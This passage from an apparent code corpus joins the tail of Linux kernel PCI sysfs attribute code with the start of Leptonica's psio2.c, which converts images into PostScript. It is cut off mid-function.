kzalloc(sizeof(*attr), GFP_ATOMIC); if (!attr) return -ENOMEM; sysfs_bin_attr_init(attr); attr->size = dev->vpd->len; attr->attr.name = "vpd"; attr->attr.mode = S_IRUSR | S_IWUSR; attr->read = read_vpd_attr; attr->write = write_vpd_attr; retval = sysfs_create_bin_file(&dev->dev.kobj, attr); if (retval) { kfree(dev->vpd->attr); return retval; } dev->vpd->attr = attr; } /* Active State Power Management */ pcie_aspm_create_sysfs_dev_files(dev); if (!pci_probe_reset_function(dev)) { retval = device_create_file(&dev->dev, &reset_attr); if (retval) goto error; dev->reset_fn = 1; } return 0; error: pcie_aspm_remove_sysfs_dev_files(dev); if (dev->vpd && dev->vpd->attr) { sysfs_remove_bin_file(&dev->dev.kobj, dev->vpd->attr); kfree(dev->vpd->attr); } return retval; } int __must_check pci_create_sysfs_dev_files (struct pci_dev *pdev) { int retval; int rom_size = 0; struct bin_attribute *attr; if (!sysfs_initialized) return -EACCES; if (pdev->cfg_size < PCI_CFG_SPACE_EXP_SIZE) retval = sysfs_create_bin_file(&pdev->dev.kobj, &pci_config_attr); else retval = sysfs_create_bin_file(&pdev->dev.kobj, &pcie_config_attr); if (retval) goto err; retval = pci_create_resource_files(pdev); if (retval) goto err_config_file; if (pci_resource_len(pdev, PCI_ROM_RESOURCE)) rom_size = pci_resource_len(pdev, PCI_ROM_RESOURCE); else if (pdev->resource[PCI_ROM_RESOURCE].flags & IORESOURCE_ROM_SHADOW) rom_size = 0x20000; /* If the device has a ROM, try to expose it in sysfs. */ if (rom_size) { attr = kzalloc(sizeof(*attr), GFP_ATOMIC); if (!attr) { retval = -ENOMEM; goto err_resource_files; } sysfs_bin_attr_init(attr); attr->size = rom_size; attr->attr.name = "rom"; attr->attr.mode = S_IRUSR; attr->read = pci_read_rom; attr->write = pci_write_rom; retval = sysfs_create_bin_file(&pdev->dev.kobj, attr); if (retval) { kfree(attr); goto err_resource_files; } pdev->rom_attr = attr; } if ((pdev->class >> 8) == PCI_CLASS_DISPLAY_VGA) { retval = device_create_file(&pdev->dev, &vga_attr); if (retval) goto err_rom_file; } /* add platform-specific attributes */ retval = pcibios_add_platform_entries(pdev); if (retval) goto err_vga_file; /* add sysfs entries for various capabilities */ retval = pci_create_capabilities_sysfs(pdev); if (retval) goto err_vga_file; return 0; err_vga_file: if ((pdev->class >> 8) == PCI_CLASS_DISPLAY_VGA) device_remove_file(&pdev->dev, &vga_attr); err_rom_file: if (rom_size) { sysfs_remove_bin_file(&pdev->dev.kobj, pdev->rom_attr); kfree(pdev->rom_attr); pdev->rom_attr = NULL; } err_resource_files: pci_remove_resource_files(pdev); err_config_file: if (pdev->cfg_size < PCI_CFG_SPACE_EXP_SIZE) sysfs_remove_bin_file(&pdev->dev.kobj, &pci_config_attr); else sysfs_remove_bin_file(&pdev->dev.kobj, &pcie_config_attr); err: return retval; } static void pci_remove_capabilities_sysfs(struct pci_dev *dev) { if (dev->vpd && dev->vpd->attr) { sysfs_remove_bin_file(&dev->dev.kobj, dev->vpd->attr); kfree(dev->vpd->attr); } pcie_aspm_remove_sysfs_dev_files(dev); if (dev->reset_fn) { device_remove_file(&dev->dev, &reset_attr); dev->reset_fn = 0; } } /** * pci_remove_sysfs_dev_files - cleanup PCI specific sysfs files * @pdev: device whose entries we should free * * Cleanup when @pdev is removed from sysfs. */ void pci_remove_sysfs_dev_files(struct pci_dev *pdev) { int rom_size = 0; if (!sysfs_initialized) return; pci_remove_capabilities_sysfs(pdev); if (pdev->cfg_size < PCI_CFG_SPACE_EXP_SIZE) sysfs_remove_bin_file(&pdev->dev.kobj, &pci_config_attr); else sysfs_remove_bin_file(&pdev->dev.kobj, &pcie_config_attr); pci_remove_resource_files(pdev); if (pci_resource_len(pdev, PCI_ROM_RESOURCE)) rom_size = pci_resource_len(pdev, PCI_ROM_RESOURCE); else if (pdev->resource[PCI_ROM_RESOURCE].flags & IORESOURCE_ROM_SHADOW) rom_size = 0x20000; if (rom_size && pdev->rom_attr) { sysfs_remove_bin_file(&pdev->dev.kobj, pdev->rom_attr); kfree(pdev->rom_attr); } } static int __init pci_sysfs_init(void) { struct pci_dev *pdev = NULL; int retval; sysfs_initialized = 1; for_each_pci_dev(pdev) { retval = pci_create_sysfs_dev_files(pdev); if (retval) { pci_dev_put(pdev); return retval; } } return 0; } late_initcall(pci_sysfs_init);
774578.c
/*====================================================================* - Copyright (C) 2001 Leptonica. All rights reserved. - - Redistribution and use in source and binary forms, with or without - modification, are permitted provided that the following conditions - are met: - 1. Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - 2. Redistributions in binary form must reproduce the above - copyright notice, this list of conditions and the following - disclaimer in the documentation and/or other materials - provided with the distribution. - - THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS - ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT - LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR - A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ANY - CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, - PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR - PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY - OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING - NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS - SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *====================================================================*/ /*! * \file psio2.c * <pre> * * |=============================================================| * | Important note | * |=============================================================| * | Some of these functions require I/O libraries such as | * | libtiff, libjpeg, and libz. If you do not have these | * | libraries, some calls will fail. | * | | * | You can manually deactivate all PostScript writing by | * | setting this in environ.h: | * | \code | * | #define USE_PSIO 0 | * | \endcode | * | in environ.h. This will link psio2stub.c | * |=============================================================| * * These are lower-level functions that implement a PostScript * "device driver" for wrapping images in PostScript. The images * can be rendered by a PostScript interpreter for viewing, * using evince or gv. They can also be rasterized for printing, * using gs or an embedded interpreter in a PostScript printer. * And they can be converted to a pdf using gs (ps2pdf). * * For uncompressed images * l_int32 pixWritePSEmbed() * l_int32 pixWriteStreamPS() * char *pixWriteStringPS() * char *generateUncompressedPS() * static void getScaledParametersPS() * static l_int32 convertByteToHexAscii() * * For jpeg compressed images (use dct compression) * l_int32 convertJpegToPSEmbed() * l_int32 convertJpegToPS() * static l_int32 convertJpegToPSString() * static char *generateJpegPS() * * For g4 fax compressed images (use ccitt g4 compression) * l_int32 convertG4ToPSEmbed() * l_int32 convertG4ToPS() * static l_int32 convertG4ToPSString() * static char *generateG4PS() * * For multipage tiff images * l_int32 convertTiffMultipageToPS() * * For flate (gzip) compressed images (e.g., png) * l_int32 convertFlateToPSEmbed() * l_int32 convertFlateToPS() * static l_int32 convertFlateToPSString() * static char *generateFlatePS() * * Write to memory * l_int32 pixWriteMemPS() * * Converting resolution * l_int32 getResLetterPage() * static l_int32 getResA4Page() * * Setting flag for writing bounding box hint * void l_psWriteBoundingBox() * * See psio1.c for higher-level functions and their usage. * </pre> */ #include <string.h> #include "allheaders.h" /* --------------------------------------------*/ #if USE_PSIO /* defined in environ.h */ /* --------------------------------------------*/ /* Set default for writing bounding box hint */ static l_int32 var_PS_WRITE_BOUNDING_BOX = 1; static const l_int32 Bufsize = 512; static const l_int32 DefaultInputRes = 300; /* typical scan res, ppi */ static const l_int32 MinRes = 5; static const l_int32 MaxRes = 3000; /* For computing resolution that fills page to desired amount */ static const l_int32 LetterWidth = 612; /* points */ static const l_int32 LetterHeight = 792; /* points */ static const l_int32 A4Width = 595; /* points */ static const l_int32 A4Height = 842; /* points */ static const l_float32 DefaultFillFraction = 0.95; #ifndef NO_CONSOLE_IO #define DEBUG_JPEG 0 #define DEBUG_G4 0 #define DEBUG_FLATE 0 #endif /* ~NO_CONSOLE_IO */ /* Note that the bounding box hint at the top of the generated PostScript * file is required for the "*Embed" functions. These generate a * PostScript file for an individual image that can be translated and * scaled by an application that embeds the image in its output * (e.g., in the PS output from a TeX file). * However, bounding box hints should not be embedded in any * PostScript image that will be composited with other images, * where more than one image may be placed in an arbitrary location * on a page. */ /* Static helper functions */ static void getScaledParametersPS(BOX *box, l_int32 wpix, l_int32 hpix, l_int32 res, l_float32 scale, l_float32 *pxpt, l_float32 *pypt, l_float32 *pwpt, l_float32 *phpt); static void convertByteToHexAscii(l_uint8 byteval, char *pnib1, char *pnib2); static l_ok convertJpegToPSString(const char *filein, char **poutstr, l_int32 *pnbytes, l_int32 x, l_int32 y, l_int32 res, l_float32 scale, l_int32 pageno, l_int32 endpage); static char *generateJpegPS(const char *filein, L_COMP_DATA *cid, l_float32 xpt, l_float32 ypt, l_float32 wpt, l_float32 hpt, l_int32 pageno, l_int32 endpage); static l_ok convertG4ToPSString(const char *filein, char **poutstr, l_int32 *pnbytes, l_int32 x, l_int32 y, l_int32 res, l_float32 scale, l_int32 pageno, l_int32 maskflag, l_int32 endpage); static char *generateG4PS(const char *filein, L_COMP_DATA *cid, l_float32 xpt, l_float32 ypt, l_float32 wpt, l_float32 hpt, l_int32 maskflag, l_int32 pageno, l_int32 endpage); static l_ok convertFlateToPSString(const char *filein, char **poutstr, l_int32 *pnbytes, l_int32 x, l_int32 y, l_int32 res, l_float32 scale, l_int32 pageno, l_int32 endpage); static char *generateFlatePS(const char *filein, L_COMP_DATA *cid, l_float32 xpt, l_float32 ypt, l_float32 wpt, l_float32 hpt, l_int32 pageno, l_int32 endpage); /*-------------------------------------------------------------* * For uncompressed images * *-------------------------------------------------------------*/ /*! * \brief pixWritePSEmbed() * * \param[in] filein input file, all depths, colormap OK * \param[in] fileout output ps file * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) This is a simple wrapper function that generates an * uncompressed PS file, with a bounding box. * (2) The bounding box is required when a program such as TeX * (through epsf) places and rescales the image. * (3) The bounding box is sized for fitting the image to an * 8.5 x 11.0 inch page. * </pre> */ l_ok pixWritePSEmbed(const char *filein, const char *fileout) { l_int32 w, h, ret; l_float32 scale; FILE *fp; PIX *pix; PROCNAME("pixWritePSEmbed"); if (!filein) return ERROR_INT("filein not defined", procName, 1); if (!fileout) return ERROR_INT("fileout not defined", procName, 1); if ((pix = pixRead(filein)) == NULL) return ERROR_INT("image not read from file", procName, 1); w = pixGetWidth(pix); h = pixGetHeight(pix); if (w * 11.0 > h * 8.5) scale = 8.5 * 300. / (l_float32)w; else scale = 11.0 * 300. / (l_float32)h; if ((fp = fopenWriteStream(fileout, "wb")) == NULL) return ERROR_INT("file not opened for write", procName, 1); ret = pixWriteStreamPS(fp, pix, NULL, 0, scale); fclose(fp); pixDestroy(&pix); return ret; } /*! * \brief pixWriteStreamPS() * * \param[in] fp file stream * \param[in] pix * \param[in] box [optional] * \param[in] res can use 0 for default of 300 ppi * \param[in] scale to prevent scaling, use either 1.0 or 0.0 * \return 0 if OK; 1 on error * * <pre> * Notes: * (1) This writes image in PS format, optionally scaled, * adjusted for the printer resolution, and with * a bounding box. * (2) For details on use of parameters, see pixWriteStringPS(). * </pre> */ l_ok pixWriteStreamPS(FILE *fp, PIX *pix, BOX *box, l_int32 res, l_float32 scale) { char *outstr; l_int32 length; PIX *pixc; PROCNAME("pixWriteStreamPS"); if (!fp) return (l_int32)ERROR_INT("stream not open", procName, 1); if (!pix) return (l_int32)ERROR_INT("pix not defined", procName, 1); if ((pixc = pixConvertForPSWrap(pix)) == NULL) return (l_int32)ERROR_INT("pixc not made", procName, 1); if ((outstr = pixWriteStringPS(pixc, box, res, scale)) == NULL) { pixDestroy(&pixc); return (l_int32)ERROR_INT("outstr not made", procName, 1); } length = strlen(outstr); fwrite(outstr, 1, length, fp); LEPT_FREE(outstr); pixDestroy(&pixc); return 0; } /*! * \brief pixWriteStringPS() * * \param[in] pixs all depths, colormap OK * \param[in] box bounding box; can be NULL * \param[in] res resolution, in printer ppi. Use 0 for default 300 ppi. * \param[in] scale scale factor. If no scaling is desired, use * either 1.0 or 0.0. Scaling just resets the resolution * parameter; the actual scaling is done in the * interpreter at rendering time. This is important: * it allows you to scale the image up without * increasing the file size. * \return ps string if OK, or NULL on error * * <pre> * a) If %box == NULL, image is placed, optionally scaled, * in a standard b.b. at the center of the page. * This is to be used when another program like * TeX through epsf places the image. * b) If %box != NULL, image is placed without a * b.b. at the specified page location and with * optional scaling. This is to be used when * you want to specify exactly where and optionally * how big you want the image to be. * Note that all coordinates are in PS convention, * with 0,0 at LL corner of the page: * x,y location of LL corner of image, in mils. * w,h scaled size, in mils. Use 0 to * scale with "scale" and "res" input. * * %scale: If no scaling is desired, use either 1.0 or 0.0. * Scaling just resets the resolution parameter; the actual * scaling is done in the interpreter at rendering time. * This is important: * it allows you to scale the image up * without increasing the file size. * * Notes: * (1) OK, this seems a bit complicated, because there are various * ways to scale and not to scale. Here's a summary: * (2) If you don't want any scaling at all: * * if you are using a box: * set w = 0, h = 0, and use scale = 1.0; it will print * each pixel unscaled at printer resolution * * if you are not using a box: * set scale = 1.0; it will print at printer resolution * (3) If you want the image to be a certain size in inches: * * you must use a box and set the box (w,h) in mils * (4) If you want the image to be scaled by a scale factor != 1.0: * * if you are using a box: * set w = 0, h = 0, and use the desired scale factor; * the higher the printer resolution, the smaller the * image will actually appear. * * if you are not using a box: * set the desired scale factor; the higher the printer * resolution, the smaller the image will actually appear. * (5) Another complication is the proliferation of distance units: * * The interface distances are in milli-inches. * * Three different units are used internally: * ~ pixels (units of 1/res inch) * ~ printer pts (units of 1/72 inch) * ~ inches * * Here is a quiz on volume units from a reviewer: * How many UK milli-cups in a US kilo-teaspoon? * (Hint: 1.0 US cup = 0.75 UK cup + 0.2 US gill; * 1.0 US gill = 24.0 US teaspoons) * </pre> */ char * pixWriteStringPS(PIX *pixs, BOX *box, l_int32 res, l_float32 scale) { char nib1, nib2; char *hexdata, *outstr; l_uint8 byteval; l_int32 i, j, k, w, h, d; l_float32 wpt, hpt, xpt, ypt; l_int32 wpl, psbpl, hexbytes, boxflag, bps; l_uint32 *line, *data; PIX *pix; PROCNAME("pixWriteStringPS"); if (!pixs) return (char *)ERROR_PTR("pixs not defined", procName, NULL); if ((pix = pixConvertForPSWrap(pixs)) == NULL) return (char *)ERROR_PTR("pix not made", procName, NULL); pixGetDimensions(pix, &w, &h, &d); /* Get the factors by which PS scales and translates, in pts */ if (!box) boxflag = 0; /* no scaling; b.b. at center */ else boxflag = 1; /* no b.b., specify placement and optional scaling */ getScaledParametersPS(box, w, h, res, scale, &xpt, &ypt, &wpt, &hpt); if (d == 1) bps = 1; /* bits/sample */ else /* d == 8 || d == 32 */ bps = 8; /* Convert image data to hex string. psbpl is the number of * bytes in each raster line when it is packed to the byte * boundary (not the 32 bit word boundary, as with the pix). * When converted to hex, the hex string has 2 bytes for * every byte of raster data. */ wpl = pixGetWpl(pix); if (d == 1 || d == 8) psbpl = (w * d + 7) / 8; else /* d == 32 */ psbpl = 3 * w; data = pixGetData(pix); hexbytes = 2 * psbpl * h; /* size of ps hex array */ if ((hexdata = (char *)LEPT_CALLOC(hexbytes + 1, sizeof(char))) == NULL) return (char *)ERROR_PTR("hexdata not made", procName, NULL); if (d == 1 || d == 8) { for (i = 0, k = 0; i < h; i++) { line = data + i * wpl; for (j = 0; j < psbpl; j++) { byteval = GET_DATA_BYTE(line, j); convertByteToHexAscii(byteval, &nib1, &nib2); hexdata[k++] = nib1; hexdata[k++] = nib2; } } } else { /* d == 32; hexdata bytes packed RGBRGB..., 2 per sample */ for (i = 0, k = 0; i < h; i++) { line = data + i * wpl; for (j = 0; j < w; j++) { byteval = GET_DATA_BYTE(line + j, 0); /* red */ convertByteToHexAscii(byteval, &nib1, &nib2); hexdata[k++] = nib1; hexdata[k++] = nib2; byteval = GET_DATA_BYTE(line + j, 1); /* green */ convertByteToHexAscii(byteval, &nib1, &nib2); hexdata[k++] = nib1; hexdata[k++] = nib2; byteval = GET_DATA_BYTE(line + j, 2); /* blue */ convertByteToHexAscii(byteval, &nib1, &nib2); hexdata[k++] = nib1; hexdata[k++] = nib2; } } } hexdata[k] = '\0'; outstr = generateUncompressedPS(hexdata, w, h, d, psbpl, bps, xpt, ypt, wpt, hpt, boxflag); pixDestroy(&pix); if (!outstr) return (char *)ERROR_PTR("outstr not made", procName, NULL); return outstr; } /*! * \brief generateUncompressedPS() * * \param[in] hexdata * \param[in] w, h raster image size in pixels * \param[in] d image depth in bpp; rgb is 32 * \param[in] psbpl raster bytes/line, when packed to the byte boundary * \param[in] bps bits/sample: either 1 or 8 * \param[in] xpt, ypt location of LL corner of image, in pts, relative * to the PostScript origin (0,0) at the LL corner * of the page * \param[in] wpt, hpt rendered image size in pts * \param[in] boxflag 1 to print out bounding box hint; 0 to skip * \return PS string, or NULL on error * * <pre> * Notes: * (1) Low-level function. * </pre> */ char * generateUncompressedPS(char *hexdata, l_int32 w, l_int32 h, l_int32 d, l_int32 psbpl, l_int32 bps, l_float32 xpt, l_float32 ypt, l_float32 wpt, l_float32 hpt, l_int32 boxflag) { char *outstr; char bigbuf[Bufsize]; SARRAY *sa; PROCNAME("generateUncompressedPS"); if (!hexdata) return (char *)ERROR_PTR("hexdata not defined", procName, NULL); sa = sarrayCreate(0); sarrayAddString(sa, "%!Adobe-PS", L_COPY); if (boxflag == 0) { snprintf(bigbuf, sizeof(bigbuf), "%%%%BoundingBox: %7.2f %7.2f %7.2f %7.2f", xpt, ypt, xpt + wpt, ypt + hpt); sarrayAddString(sa, bigbuf, L_COPY); } else { /* boxflag == 1 */ sarrayAddString(sa, "gsave", L_COPY); } if (d == 1) sarrayAddString(sa, "{1 exch sub} settransfer %invert binary", L_COPY); snprintf(bigbuf, sizeof(bigbuf), "/bpl %d string def %%bpl as a string", psbpl); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%7.2f %7.2f translate %%set image origin in pts", xpt, ypt); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%7.2f %7.2f scale %%set image size in pts", wpt, hpt); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), "%d %d %d %%image dimensions in pixels", w, h, bps); sarrayAddString(sa, bigbuf, L_COPY); snprintf(bigbuf, sizeof(bigbuf), "[%d %d %d %d %d %d] %%mapping matrix: [w 0 0 -h 0 h]", w, 0, 0, -h, 0, h); sarrayAddString(sa, bigbuf, L_COPY); if (boxflag == 0) { if (d == 1 || d == 8) sarrayAddString(sa, "{currentfile bpl readhexstring pop} image", L_COPY); else /* d == 32 */ sarrayAddString(sa, "{currentfile bpl readhexstring pop} false 3 colorimage", L_COPY); } else { /* boxflag == 1 */ if (d == 1 || d == 8) sarrayAddString(sa, "{currentfile bpl readhexstring pop} bind image", L_COPY); else /* d == 32 */ sarrayAddString(sa, "{currentfile bpl readhexstring pop} bind false 3 colorimage", L_COPY); } sarrayAddString(sa, hexdata, L_INSERT); if (boxflag == 0) sarrayAddString(sa, "\nshowpage", L_COPY); else /* boxflag == 1 */ sarrayAddString(sa, "\ngrestore", L_COPY); outstr = sarrayToString(sa, 1); sarrayDestroy(&sa); if (!outstr) L_ERROR("outstr not made\n", procName); return outstr; } /*! * \brief getScaledParametersPS() * * \param[in] box [optional] location of image in mils; x,y is LL corner * \param[in] wpix pix width in pixels * \param[in] hpix pix height in pixels * \param[in] res of printer; use 0 for default * \param[in] scale use 1.0 or 0.0 for no scaling * \param[out] pxpt location of llx in pts * \param[out] pypt location of lly in pts * \param[out] pwpt image width in pts * \param[out] phpt image height in pts * \return void no arg checking * * <pre> * Notes: * (1) The image is always scaled, depending on res and scale. * (2) If no box, the image is centered on the page. * (3) If there is a box, the image is placed within it. * </pre> */ static void getScaledParametersPS(BOX *box, l_int32 wpix, l_int32 hpix, l_int32 res, l_float32 scale, l_float32 *pxpt, l_float32 *pypt, l_float32 *pwpt, l_float32 *phpt) { l_int32 bx, by, bw, bh; l_float32 winch, hinch, xinch, yinch, fres; PROCNAME("getScaledParametersPS"); if (res == 0) res = DefaultInputRes; fres = (l_float32)res; /* Allow the PS interpreter to scale the resolution */ if (scale == 0.0) scale = 1.0; if (scale != 1.0) { fres = (l_float32)res / scale; res = (l_int32)fres; } /* Limit valid resolution interval */ if (res < MinRes || res > MaxRes) { L_WARNING("res %d out of bounds; using default res; no scaling\n", procName, res); res = DefaultInputRes; fres = (l_float32)res; } if (!box) { /* center on page */ winch = (l_float32)wpix / fres; hinch = (l_float32)hpix / fres; xinch = (8.5 - winch) / 2.; yinch = (11.0 - hinch) / 2.; } else { boxGetGeometry(box, &bx, &by, &bw, &bh); if (bw == 0) winch = (l_float32)wpix / fres; else winch = (l_float32)bw / 1000.; if (bh == 0) hinch = (l_float32)hpix / fres; else hinch = (l_float32)bh / 1000.; xinch = (l_float32)bx / 1000.; yinch = (l_float32)by / 1000.; } if (xinch < 0) L_WARNING("left edge < 0.0 inch\n", procName); if (xinch + winch > 8.5) L_WARNING("right edge > 8.5 inch\n", procName); if (yinch < 0.0) L_WARNING("bottom edge < 0.0 inch\n", procName); if (yinch + hinch > 11.0) L_WARNING("top edge > 11.0 inch\n", procName); *pwpt = 72. * winch; *phpt = 72. * hinch; *pxpt = 72. * xinch; *pypt = 72. * yinch; return; } /*! * \brief convertByteToHexAscii() * * \param[in] byteval input byte * \param[out] pnib1, pnib2 two hex ascii characters * \return void */ static void convertByteToHexAscii(l_uint8 byteval, char *pnib1, char *pnib2) { l_uint8 nib; nib = byteval >> 4; if (nib < 10) *pnib1 = '0' + nib; else *pnib1 = 'a' + (nib - 10); nib = byteval & 0xf; if (nib < 10) *pnib2 = '0' + nib; else *pnib2 = 'a' + (nib - 10); return; } /*-------------------------------------------------------------* * For jpeg compressed images * *-------------------------------------------------------------*/ /*! * \brief convertJpegToPSEmbed() * * \param[in] filein input jpeg file * \param[in] fileout output ps file * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) This function takes a jpeg file as input and generates a DCT * compressed, ascii85 encoded PS file, with a bounding box. * (2) The bounding box is required when a program such as TeX * (through epsf) places and rescales the image. * (3) The bounding box is sized for fitting the image to an * 8.5 x 11.0 inch page. * </pre> */ l_ok convertJpegToPSEmbed(const char *filein, const char *fileout) { char *outstr; l_int32 w, h, nbytes, ret; l_float32 xpt, ypt, wpt, hpt; L_COMP_DATA *cid; PROCNAME("convertJpegToPSEmbed"); if (!filein) return ERROR_INT("filein not defined", procName, 1); if (!fileout) return ERROR_INT("fileout not defined", procName, 1); /* Generate the ascii encoded jpeg data */ if ((cid = l_generateJpegData(filein, 1)) == NULL) return ERROR_INT("jpeg data not made", procName, 1); w = cid->w; h = cid->h; /* Scale for 20 pt boundary and otherwise full filling * in one direction on 8.5 x 11 inch device */ xpt = 20.0; ypt = 20.0; if (w * 11.0 > h * 8.5) { wpt = 572.0; /* 612 - 2 * 20 */ hpt = wpt * (l_float32)h / (l_float32)w; } else { hpt = 752.0; /* 792 - 2 * 20 */ wpt = hpt * (l_float32)w / (l_float32)h; } /* Generate the PS. * The bounding box information should be inserted (default). */ outstr = generateJpegPS(NULL, cid, xpt, ypt, wpt, hpt, 1, 1); l_CIDataDestroy(&cid); if (!outstr) return ERROR_INT("outstr not made", procName, 1); nbytes = strlen(outstr); ret = l_binaryWrite(fileout, "w", outstr, nbytes); LEPT_FREE(outstr); if (ret) L_ERROR("ps string not written to file\n", procName); return ret; } /*! * \brief convertJpegToPS() * * \param[in] filein input jpeg file * \param[in] fileout output ps file * \param[in] operation "w" for write; "a" for append * \param[in] x, y location of LL corner of image, in pixels, relative * to the PostScript origin (0,0) at the LL corner * of the page * \param[in] res resolution of the input image, in ppi; * use 0 for default * \param[in] scale scaling by printer; use 0.0 or 1.0 for no scaling * \param[in] pageno page number; must start with 1; you can use 0 * if there is only one page * \param[in] endpage boolean: use TRUE if this is the last image to be * added to the page; FALSE otherwise * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) This is simpler to use than pixWriteStringPS(), and * it outputs in level 2 PS as compressed DCT (overlaid * with ascii85 encoding). * (2) An output file can contain multiple pages, each with * multiple images. The arguments to convertJpegToPS() * allow you to control placement of jpeg images on multiple * pages within a PostScript file. * (3) For the first image written to a file, use "w", which * opens for write and clears the file. For all subsequent * images written to that file, use "a". * (4) The (x, y) parameters give the LL corner of the image * relative to the LL corner of the page. They are in * units of pixels if scale = 1.0. If you use (e.g.) * scale = 2.0, the image is placed at (2x, 2y) on the page, * and the image dimensions are also doubled. * (5) Display vs printed resolution: * * If your display is 75 ppi and your image was created * at a resolution of 300 ppi, you can get the image * to print at the same size as it appears on your display * by either setting scale = 4.0 or by setting res = 75. * Both tell the printer to make a 4x enlarged image. * * If your image is generated at 150 ppi and you use scale = 1, * it will be rendered such that 150 pixels correspond * to 72 pts (1 inch on the printer). This function does * the conversion from pixels (with or without scaling) to * pts, which are the units that the printer uses. * * The printer will choose its own resolution to use * in rendering the image, which will not affect the size * of the rendered image. That is because the output * PostScript file describes the geometry in terms of pts, * which are defined to be 1/72 inch. The printer will * only see the size of the image in pts, through the * scale and translate parameters and the affine * transform (the ImageMatrix) of the image. * (6) To render multiple images on the same page, set * endpage = FALSE for each image until you get to the * last, for which you set endpage = TRUE. This causes the * "showpage" command to be invoked. Showpage outputs * the entire page and clears the raster buffer for the * next page to be added. Without a "showpage", * subsequent images from the next page will overlay those * previously put down. * (7) For multiple pages, increment the page number, starting * with page 1. This allows PostScript (and PDF) to build * a page directory, which viewers use for navigation. * </pre> */ l_ok convertJpegToPS(const char *filein, const char *fileout, const char *operation, l_int32 x, l_int32 y, l_int32 res, l_float32 scale, l_int32 pageno, l_int32 endpage) { char *outstr; l_int32 nbytes; PROCNAME("convertJpegToPS"); if (!filein) return ERROR_INT("filein not defined", procName, 1); if (!fileout) return ERROR_INT("fileout not defined", procName, 1); if (strcmp(operation, "w") && strcmp(operation, "a")) return ERROR_INT("operation must be \"w\" or \"a\"", procName, 1); if (convertJpegToPSString(filein, &outstr, &nbytes, x, y, res, scale, pageno, endpage)) return ERROR_INT("ps string not made", procName, 1); if (l_binaryWrite(fileout, operation, outstr, nbytes)) { LEPT_FREE(outstr); return ERROR_INT("ps string not written to file", procName, 1); } LEPT_FREE(outstr); return 0; } /*! * \brief convertJpegToPSString() * * Generates PS string in jpeg format from jpeg file * * \param[in] filein input jpeg file * \param[out] poutstr PS string * \param[out] pnbytes number of bytes in PS string * \param[in] x, y location of LL corner of image, in pixels, relative * to the PostScript origin (0,0) at the LL corner * of the page * \param[in] res resolution of the input image, in ppi; * use 0 for default * \param[in] scale scaling by printer; use 0.0 or 1.0 for no scaling * \param[in] pageno page number; must start with 1; you can use 0 * if there is only one page * \param[in] endpage boolean: use TRUE if this is the last image to be * added to the page; FALSE otherwise * \return 0 if OK, 1 on error * * <pre> * Notes: * (1) For usage, see convertJpegToPS() * </pre> */ static l_ok convertJpegToPSString(const char *filein, char **poutstr, l_int32 *pnbytes, l_int32 x, l_int32 y, l_int32 res, l_float32 scale, l_int32 pageno, l_int32 endpage) { char *outstr; l_float32 xpt, ypt, wpt, hpt; L_COMP_DATA *cid; PROCNAME("convertJpegToPSString"); if (!poutstr) return ERROR_INT("&outstr not defined", procName, 1); if (!pnbytes) return ERROR_INT("&nbytes not defined", procName, 1); *poutstr = NULL; *pnbytes = 0; if (!filein) return ERROR_INT("filein not defined", procName, 1); /* Generate the ascii encoded jpeg data */ if ((cid = l_generateJpegData(filein, 1)) == NULL) return ERROR_INT("jpeg data not made", procName, 1); /* Get scaled location in pts. Guess the input scan resolution * based on the input parameter %res, the resolution data in * the pix, and the size of the image. */ if (scale == 0.0) scale = 1.0; if (res <= 0) { if (cid->res > 0) res = cid->res; else res = DefaultInputRes; } /* Get scaled location in pts */ if (scale == 0.0) scale = 1.0; xpt = scale * x * 72. / res; ypt = scale * y * 72. / res; wpt = scale * cid->w * 72. / res; hpt = scale * cid->h * 72. / res; if (pageno == 0) pageno = 1; #if DEBUG_JPEG fprintf(stderr, "w = %d, h = %d, bps = %d, spp = %d\n", cid->w, cid->h, cid->bps, cid->spp); fprintf(stderr, "comp bytes = %ld, nbytes85 = %ld, ratio = %5.3f\n", (unsigned long)cid->nbytescomp, (unsigned long)cid->nbytes85, (l_float32)cid->nbytes85 / (l_float32)cid->nbytescomp); fprintf(stderr, "xpt = %7.2f, ypt = %7.2f, wpt = %7.2f, hpt = %7.2f\n", xpt, ypt, wpt, hpt); #endif /* DEBUG_JPEG */ /* Generate the PS */ outstr = generateJpegPS(NULL, cid, xpt, ypt, wpt, hpt, pageno, endpage); l_CIDataDestroy(&cid); if (!outstr) return ERROR_INT("outstr not made", procName, 1); *poutstr = outstr; *pnbytes = strlen(outstr); return 0; } /*! * \brief generateJpegPS() * * \param[in] filein [optional] input jpeg filename; can be null * \param[in] cid jpeg compressed image data * \param[in] xpt, ypt location of LL corner of image, in pts, relative * to the PostScript origin (0,0) at the LL corner * of the page * \param[in] wpt, hpt rendered image size in pts * \param[in] pageno page number; must start with 1; you can use 0 * if there is only one page. * \param[in] endpage boolean: use TRUE if this is the last image to be * added to the page; FALSE otherwise * \return PS string, or NULL on error * * <pre> * Notes: * (1) Low-level function. * </pre> */ static char * generateJpegPS(const char *filein, L_COMP_DATA *cid, l_float32 xpt, l_float32 ypt, l_float32 wpt, l_float32 hpt, l_int32 pageno, l_int32 endpage) { l_int32 w, h, bps, spp; char *outstr; char bigbuf[Bufsize]; SARRAY 